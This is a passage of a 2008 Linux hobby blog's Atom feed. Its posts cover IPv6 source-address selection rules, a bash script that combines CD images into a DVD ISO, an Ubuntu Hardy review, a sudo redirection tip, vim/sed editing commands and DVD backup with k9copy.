4:&lt;/b&gt; &lt;b&gt;Prefer Home Address&lt;/b&gt;. If a candidate source address SA1 is both home and care-of address, prefer that to a candidate source address SA2 which is only a care-of address. On the other hand if SA1 is a home address and SA2 a care-of address then prefer SA1. In other words home address is given higher priority. I have not tested this case as i dont have mobile ipv6 support enabled in my kernel. Thats the reason ill skip the example in this case. If anyone has tested this let me know :-).&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Rule 5: Prefer Outgoing Interface&lt;/b&gt;. This rule is petty straightforward. If the outgoing interface used to send to the destination address is known, the source address selection candidates must belong only to that interface. If SA is from interface eth0 and SB is from interface eth1, and the interface used to send packets to destination is eth0, then prefer SA. If the interface has multiple suitable candidates the move on the next rule.&lt;br /&gt;&lt;b&gt;Eg:&lt;/b&gt;&lt;br /&gt;eth0: 2001::1 eth1: 2001::2 ;&lt;br /&gt;Dest : eth0: 2002::5&lt;br /&gt;&lt;b&gt;Select : 2001::1&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Rule 6:&lt;/b&gt; &lt;b&gt;Prefer Label&lt;/b&gt;. This rule selects the source address from the candidate set based on label value. A user defined label table is maintained in the kernel via netlink to match the values. The label value of the destination address must match the label value of any of the source address candidates. If there is a match then source address is selected else the candidate set is passed on to the next rule. The label values can be modified and set as desired by the administrator using "ip" command.&lt;br /&gt;&lt;b&gt;Eg:&lt;/b&gt;&lt;br /&gt;Label Table:&lt;br /&gt;SrcA   2001::1   3&lt;br /&gt;SrcB   2001::2   4&lt;br /&gt;SrcC   2001::3   5&lt;br /&gt;Dest  fec0::3    4&lt;br /&gt;&lt;b&gt;Select : 2001::2&lt;/b&gt;  &lt;b&gt;&lt;br /&gt;&lt;br /&gt;Rule 7:&lt;/b&gt; &lt;b&gt;Prefer Public Address. &lt;/b&gt;This rule is also pretty straightforward. If SA is a public address and SB is temporary address, prefer SA. This is irrespective of the destination. The RFC states that an API must be provided to reverse this preference by the application. At the time of writing this article no such API is present in linux.&lt;br /&gt;&lt;b&gt;Eg:&lt;/b&gt;&lt;br /&gt;SA fec0::1 configured by "ip -6 addr add fec0::1 dev eth0"&lt;br /&gt;SB fec0::2 configured by radvd (temporary address)&lt;br /&gt;&lt;b&gt;Select: fec0::1&lt;br /&gt;&lt;br /&gt;Rule 8: Prefer Longest Matching Prefix. &lt;/b&gt;The last rule is to match the longest prefix as possible. This is the last resort to single down the source address. From the list of source addresses the prefix matching is done to see which source has the longest prefix value similar to the destination.&lt;br /&gt;&lt;b&gt;Eg:&lt;/b&gt;&lt;br /&gt;SA: 2001:3fff:2e33:6fff::1&lt;br /&gt;SB: 2001:3fff:2e33:23ff::2&lt;br /&gt;Dest: 2001:3fff:2e33:23ff::3&lt;br /&gt;&lt;b&gt;Select: 2001:3fff:2e33:23ff::2&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;After all the rules are passed and still a candidate source could not be selected then linux basically picks up the last address registered among the final list of potential source address list.&lt;b&gt;&lt;br /&gt;Eg:&lt;/b&gt;&lt;br /&gt;SA: 2001::1&lt;br /&gt;SB: 2001::2&lt;br /&gt;SC: 2001::3&lt;br /&gt;&lt;b&gt;Select: 2001::3&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;NOTE: Multiple usages of SA, SB... and Src A, Dest/D refers to Source Address A/B and Destination address. Excuse me for using these representations without informing.&lt;br /&gt;&lt;br /&gt;&lt;b&gt; &lt;/b&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-3530882244407497473?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/3530882244407497473/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2008/07/default-address-selection-part-2.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/3530882244407497473'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/3530882244407497473'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2008/07/default-address-selection-part-2.html' title='Default Address Selection Part 2'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_yWIW9H6R1sc/SIsYvcbZCxI/AAAAAAAAADM/0Xzfj-_YAvA/s72-c/snapshot5.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-26903770060205542</id><published>2008-07-25T22:22:00.000-07:00</published><updated>2012-01-22T05:40:03.411-08:00</updated><title type='text'>Script To Convert cd's to Dvd</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;#!/bin/bash&lt;br/&gt;# convert cd's into single DVD&lt;br/&gt;#&lt;br/&gt;&lt;br/&gt;#functions&lt;br/&gt;&lt;br/&gt;iso_fn () {&lt;br/&gt;   disc&lt;br/&gt;   cp -r /tmp/cd1/.discinfo /tmp/isoimage&lt;br/&gt;   OUT=`cat /tmp/stdout1 | grep 1`&lt;br/&gt;   sed '4s/1/'$OUT'/g' /tmp/isoimage/.discinfo &amp;gt; /tmp/stdout2&lt;br/&gt;   mv -f /tmp/stdout2 /tmp/isoimage/.discinfo&lt;br/&gt;   cd /tmp/isoimage&lt;br/&gt;&lt;br/&gt;   echo " Enter the label for DVD"&lt;br/&gt;   read name&lt;br/&gt;   echo " Enter the name &amp;amp; location to store the image example /DVD1.iso"&lt;br/&gt;   read locate&lt;br/&gt;   mkisofs -v -r -T -J -V "$name" -b isolinux/isolinux.bin -c isolinux/boot.cat -no-emul-boot \&lt;br/&gt;   -boot-load-size 4 -boot-info-table -o "$locate" /tmp/isoimage&lt;br/&gt;   echo " successfuly completed now burn the "$locate" image into DVD"&lt;br/&gt;   echo " Do you want to create another image [y/n]"&lt;br/&gt;   read -n 1 CH&lt;br/&gt;   if [ "$CH" -eq "y" ]; then clean ;. testlap2.sh; else  echo " Try later"; fi&lt;br/&gt;   cd $OLDPWD&lt;br/&gt;  }&lt;br/&gt;&lt;br/&gt;clean () {&lt;br/&gt;umount /tmp/cd* 2&amp;gt; /dev/null&lt;br/&gt;rm -rf /tmp/isoimage /tmp/cd* 2&amp;gt; /dev/null&lt;br/&gt;}&lt;br/&gt;&lt;br/&gt;disc () {&lt;br/&gt;&lt;br/&gt;  echo &amp;gt; /tmp/stdout1 2&amp;gt; /dev/null&lt;br/&gt;  while [ "$J" -le "$C" ]&lt;br/&gt;  do&lt;br/&gt;    if [ "$J" -eq "$C" ]; then printf "$J" &amp;gt;&amp;gt; /tmp/stdout1 ; else printf "$J," &amp;gt;&amp;gt; /tmp/stdout1; fi&lt;br/&gt;    let "J +=1"&lt;br/&gt;  done&lt;br/&gt;&lt;br/&gt;}&lt;br/&gt;&lt;br/&gt;sync_fn () {&lt;br/&gt;&lt;br/&gt;  E=$D&lt;br/&gt;  while [ "$E" -ge "$J" ]&lt;br/&gt;  do&lt;br/&gt;  rsync -rv /tmp/cd"$E"/* /tmp/isoimage&lt;br/&gt;  let "E -=1"&lt;br/&gt;  done&lt;br/&gt;  iso_fn&lt;br/&gt;  }&lt;br/&gt;&lt;br/&gt;#starting from here&lt;br/&gt;#declaration&lt;br/&gt;  I=1&lt;br/&gt;  J=1&lt;br/&gt;  echo " Give the appropriate source you have "&lt;br/&gt;  echo " 1.cdrom 2.iso images 3.clean"&lt;br/&gt;  read NUM&lt;br/&gt;  mkdir -p /tmp/isoimage&lt;br/&gt;  rm -rf /tmp/cd* 2&amp;gt;/dev/null&lt;br/&gt;case $NUM in&lt;br/&gt;&lt;br/&gt;1)echo " Enter total no of cds"&lt;br/&gt;  read  C&lt;br/&gt;&lt;br/&gt;  while [ "$I" -le "$C" ]&lt;br/&gt;  do&lt;br/&gt;  mkdir -p /tmp/cd$I&lt;br/&gt;  echo " Insert the $I cd "&lt;br/&gt;  eject &amp;amp;&amp;amp; sleep 20 &amp;amp;&amp;amp; eject -t &amp;amp;&amp;amp; \&lt;br/&gt;  dd if=/dev/cdrom of=/tmp/cd"$I".iso &amp;amp;&amp;amp; \&lt;br/&gt;  mount -o,loop /tmp/cd"$I".iso /tmp/cd"$I" &amp;amp;&amp;amp; \&lt;br/&gt;  let "I += 1"&lt;br/&gt; done&lt;br/&gt;  sync_fn&lt;br/&gt;;;&lt;br/&gt;&lt;br/&gt;2)echo " Enter the total no of isoimages"&lt;br/&gt;    read C&lt;br/&gt;    D=$C&lt;br/&gt; while [ "$I" -le "$C" ]&lt;br/&gt;  do&lt;br/&gt;  mkdir -p /tmp/cd$I&lt;br/&gt;  echo " Give the path for isoimage $I  for example /misc/cd$I.iso "&lt;br/&gt;  read SPATH&lt;br/&gt;  mount  -o,loop "$SPATH" /tmp/cd"$I"&lt;br/&gt;   let "I +=1"&lt;br/&gt;  done&lt;br/&gt; sync_fn&lt;br/&gt;;;&lt;br/&gt;&lt;br/&gt;3)&lt;br/&gt;  clean&lt;br/&gt;  clear&lt;br/&gt;  echo "cleaned"&lt;br/&gt;  . testlap2.sh&lt;br/&gt;;;&lt;br/&gt;&lt;br/&gt;*)echo " you have pressed invalid key"&lt;br/&gt; #2&amp;gt; /dev/null&lt;br/&gt;;;&lt;br/&gt;&lt;br/&gt;esac&lt;br/&gt;&lt;br/&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-26903770060205542?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/26903770060205542/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2008/07/script-to-convert-cd-to-dvd.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/26903770060205542'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/26903770060205542'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2008/07/script-to-convert-cd-to-dvd.html' title='Script To Convert cd&amp;#39;s to Dvd'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-1000218538922210610</id><published>2008-07-22T22:12:00.000-07:00</published><updated>2012-01-22T05:40:03.572-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sound problems on hardy'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><category scheme='http://www.blogger.com/atom/ns#' term='hardy'/><title type='text'>Follow up to "Hardy  Heron..... Ubuntu's latest!"</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;Adding two more to the &lt;b&gt;Ugly&lt;/b&gt; things in Hardy....&lt;br/&gt;&lt;br/&gt;1. If the network cable is not plugged in, while start up the corresponding ethernet drivers for wired network&lt;br/&gt;    is not loaded. When i manually modprode it, i still don't see a eth0 interface and dmesg doesn't give any error!!&lt;br/&gt;&lt;br/&gt;2. Suddenly, after the recent updates the sound stopped working and kmix started cribbing.&lt;br/&gt;    I realized that the snd-hda-intel ( sound driver for intel chipsets) was not loaded.&lt;br/&gt;    I had to manually modprobe it in.&lt;br/&gt;&lt;br/&gt;This surely bad and takes Ubuntu away from being user friendly. I wonder if a naive user would be able to figure out the problem ..&lt;br/&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-1000218538922210610?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/1000218538922210610/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2008/07/follow-up-to-heron-ubuntu-latest.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/1000218538922210610'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/1000218538922210610'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2008/07/follow-up-to-heron-ubuntu-latest.html' title='Follow up to &amp;quot;Hardy  Heron..... Ubuntu&amp;#39;s latest!&amp;quot;'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-3496697127764464622</id><published>2008-07-17T23:21:00.000-07:00</published><updated>2012-01-22T05:40:03.673-08:00</updated><title type='text'>Hardy Heron ... Ubuntu's latest !</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;I installed Ubuntu latest LTS (Long Term Support) release Hardy Heron on my Thinkpad T60p. I have heard/read a lot of good, bad and ugly things about Hardy.&lt;br/&gt;&lt;br/&gt;Here's mine.&lt;b&gt;&lt;br/&gt;&lt;br/&gt;&lt;big&gt;The Good&lt;/big&gt;&lt;br/&gt;&lt;br/&gt;&lt;/b&gt;Installation goes smooth. This is something the Ubuntu folks have mastered. &lt;br/&gt;Wireless, Suspend to Ram and Hibernate work out of the box.&lt;br/&gt;Earlier neither of these worked for my T60p with Atheros Wireless Card and ATI Graphics Card.&lt;br/&gt;I guess the drivers improved with the kernel that shipped with Hardy.&lt;br/&gt;But can't take the credit away from Ubuntu for proper packaging.&lt;br/&gt;This is another thing that Ubuntu does really well.&lt;br/&gt;&lt;b&gt;&lt;br/&gt;&lt;big&gt;The Bad&lt;/big&gt;&lt;/b&gt;&lt;br/&gt;&lt;br/&gt;Why is a beta version of Firefox 3 shipped with a LTS version? Ok, the updates install the GA version of Firefox.&lt;br/&gt;The only reason i see is that they expected Firefox 3 would be released very soon and a upgrade would be easier.&lt;br/&gt;Seems reasonable ? For a naive Desktop user (their potential market) can't say so!&lt;br/&gt;The beta version of Firefox 3 crash abruptly and / or consumes a lot of CPU and becomes slow.&lt;b&gt;&lt;br/&gt;&lt;br/&gt;$sudo apt-get install kde&lt;/b&gt;&lt;br/&gt;This command doesn't install all essential components for kde to be setup right like knetworkmanager, dolphin, kaffeine etc.&lt;br/&gt;I had to do a &lt;br/&gt;&lt;b&gt;$sudo apt-cache search kubuntu | sudo apt-get install -y&lt;/b&gt;&lt;br/&gt;&lt;br/&gt;Is Ubuntu at fault or kde or the way the repos are organized ?&lt;br/&gt;&lt;br/&gt;&lt;big&gt;&lt;b&gt;The Ugly&lt;/b&gt;&lt;/big&gt;&lt;br/&gt;&lt;br/&gt;When i put the lid of the laptop down and lift it up, the entire gui screen get borked. The redrawing mechanism seems to be the culprit. When i switch to a another terminal and back, the gui screen comes to normal.&lt;br/&gt;It took a while for me to realize this. I just kept killing the X session.&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;b&gt;Final verdict: The Good features (which i desperately wanted) win over the rest and i am happy [:)]&lt;/b&gt;&lt;br/&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-3496697127764464622?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/3496697127764464622/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2008/07/hardy-heron-ubuntu-latest.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/3496697127764464622'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/3496697127764464622'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2008/07/hardy-heron-ubuntu-latest.html' title='Hardy Heron ... Ubuntu&amp;#39;s latest !'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-5696481814693636767</id><published>2008-06-17T03:18:00.000-07:00</published><updated>2012-01-22T05:40:03.775-08:00</updated><title type='text'>Weird sudo situation</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;Recently, I hit a weird situation where i had use sudo.&lt;br/&gt;I wanted to do the following with privileges&lt;br/&gt;&lt;br/&gt;$ &lt;b&gt;sudo echo 1 &amp;gt; /proc/sys/kernel/panic_on_oops&lt;/b&gt;&lt;br/&gt;&lt;br/&gt;The above is what anyone will try, which didn't work because it sudoes "echo 1"&lt;br/&gt;not the redirection "&amp;gt;"&lt;br/&gt;&lt;br/&gt;The solution is&lt;br/&gt;$ &lt;b&gt;sudo sh  -c "echo 1 &amp;gt; /proc/sys/kernel/panic_on_oops"&lt;br/&gt;&lt;/b&gt;&lt;br/&gt;So we create a new sudo shell and -c tells the shell to execute the command mentioned in &lt;br/&gt;the string.&lt;br/&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-5696481814693636767?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/5696481814693636767/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2008/06/weird-sudo-situation.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/5696481814693636767'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/5696481814693636767'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2008/06/weird-sudo-situation.html' title='Weird sudo situation'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-192867468502386242</id><published>2008-06-16T21:29:00.000-07:00</published><updated>2012-01-22T05:40:03.878-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='scripts'/><category scheme='http://www.blogger.com/atom/ns#' term='vim'/><category scheme='http://www.blogger.com/atom/ns#' term='sed'/><category scheme='http://www.blogger.com/atom/ns#' term='whitespaces'/><title type='text'>Removing trailing whitespaces</title><content type='html'>Removing white spaces entirely from a large file can always be a pain.&lt;br /&gt;Here is a simple sed command &lt;span style="font-weight: bold;"&gt;(inside vim ) &lt;/span&gt;that removes it in one shot&lt;br /&gt;&lt;br /&gt;:%s/[ ^I]*$//g&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;NOTE:&lt;/span&gt; The ^I is a special character, and is generated by pressing the TAB &lt;tab&gt;key&lt;/tab&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-192867468502386242?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/192867468502386242/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2008/06/removing-trailing-whitespaces.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/192867468502386242'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/192867468502386242'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2008/06/removing-trailing-whitespaces.html' title='Removing trailing whitespaces'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-8697484857527239496</id><published>2008-06-16T20:46:00.000-07:00</published><updated>2012-01-22T05:40:03.993-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='scripts'/><category scheme='http://www.blogger.com/atom/ns#' term='vim'/><category scheme='http://www.blogger.com/atom/ns#' term='coding-style'/><category scheme='http://www.blogger.com/atom/ns#' term='sed'/><title type='text'>vim+sed scripts to conform a file to coding standards</title><content type='html'>I have created sed scripts (that run within vim) which can fix up your source code file to conform to coding-style of the kernel.&lt;br /&gt;&lt;br /&gt;This one adds space after every comma:&lt;br /&gt;:%s/,\([^ ]\)/, \1/g&lt;br /&gt;&lt;br /&gt;This one adds space before and after every +=,==&lt;br /&gt;:%s/\([^ ]*\)\([+=]\+=\)\([^ ]*\)/\1 \2 \3/g&lt;br /&gt;&lt;br /&gt;Stay tuned for more!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-8697484857527239496?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/8697484857527239496/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2008/06/vimsed-scripts-to-conform-file-to.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/8697484857527239496'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/8697484857527239496'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2008/06/vimsed-scripts-to-conform-file-to.html' title='vim+sed scripts to conform a file to coding standards'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-5190078544768653890</id><published>2008-06-14T07:45:00.000-07:00</published><updated>2012-01-22T05:40:04.123-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux Fun'/><title type='text'>Unix Dilbert!!! Just For Fun</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://spatula-city.org/%7Eim14u2c/images/dilbert-unix-512px.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px;" src="http://spatula-city.org/%7Eim14u2c/images/dilbert-unix-512px.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-5190078544768653890?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/5190078544768653890/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2008/06/unix-dilbert-just-for-fun.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/5190078544768653890'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/5190078544768653890'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2008/06/unix-dilbert-just-for-fun.html' title='Unix Dilbert!!! Just For Fun'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-6010748593426051121</id><published>2008-06-13T03:18:00.000-07:00</published><updated>2012-01-22T05:40:04.232-08:00</updated><title type='text'>Converting DVD9 to DVD5 In Linux</title><content type='html'>Iam a big movie freak. I have loads of dvd's that i share with friends. The Problem is, more often than not the dvd's tend to get scratched. So i decided that i will make a copy of all my dvd's and will share that backup copy thereby reducing the risk of my dvd's getting scratched. In india we have DVD5's (4.7 GB) available quite easily. But most of the dvd's we buy today are DVD9 format. I was on a lookout for the best tool to do the job. In windows there is a funky application called dvdshrink. On linux i found that dvdshrink does run well on wine. Iam a linux purist so i was not happy with that solution. I stumbled upon this neat application called k9copy. Its a KDE app and works absolutely well. I have not really dug into this app as it has numerous settings. For most of us the default should be good to go.&lt;br /&gt;&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_yWIW9H6R1sc/SFJJ0yh5o6I/AAAAAAAAACc/iDZl5ZKio6s/s1600-h/snapshot4.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_yWIW9H6R1sc/SFJJ0yh5o6I/AAAAAAAAACc/iDZl5ZKio6s/s400/snapshot4.png" alt="" id="BLOGGER_PHOTO_ID_5211308890087072674" border="0" /&gt;&lt;/a&gt;The next step is to back up the dvd. Pop in the dvd you wish to backup and watch the application read all the titles and display them as shown below.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_yWIW9H6R1sc/SFJOCUS5TkI/AAAAAAAAACk/xJRG8tVJAjM/s1600-h/snapshot4.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_yWIW9H6R1sc/SFJOCUS5TkI/AAAAAAAAACk/xJRG8tVJAjM/s400/snapshot4.png" alt="" id="BLOGGER_PHOTO_ID_5211313520535752258" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Here one can select/deselect title set. Remember if you are not de-selecting  any title set then your most likely to have the full dvd converted to DVD 5 format but at the cost of picture quality.&lt;br /&gt;That it!! Now click on "Copy".&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_yWIW9H6R1sc/SFJPT5ujaOI/AAAAAAAAACs/9rAv7SGI-Mc/s1600-h/snapshot4.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_yWIW9H6R1sc/SFJPT5ujaOI/AAAAAAAAACs/9rAv7SGI-Mc/s400/snapshot4.png" alt="" id="BLOGGER_PHOTO_ID_5211314922153273570" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;It creates you a lovely iso image that you can later burn or you can also directly burn into a dvd on the fly.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Word Of Caution&lt;/span&gt; : I found that this app crashes when trying to rip from rc2 protected dvd drives. The only way to get rid of the problem is to use rc1 drives. If not you need to search on the net for rc1 firmware for your drive to crack it :-)&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-6010748593426051121?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/6010748593426051121/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2008/06/converting-dvd9-to-dvd5-in-linux.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/6010748593426051121'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/6010748593426051121'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2008/06/converting-dvd9-to-dvd5-in-linux.html' title='Converting DVD9 to DVD5 In Linux'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_yWIW9H6R1sc/SFJJ0yh5o6I/AAAAAAAAACc/iDZl5ZKio6s/s72-c/snapshot4.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-2131141195822717577</id><published>2008-06-13T02:09:00.000-07:00</published><updated>2012-01-22T05:40:04.342-08:00</updated><title type='text'>Playing With Scribefire</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;This is just a mock post, playing around with scribefire. It looks awesome, lets see what it can do? My buddy chirag suggested me this.&lt;br/&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-2131141195822717577?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/2131141195822717577/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2008/06/playing-with-scribefire.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' 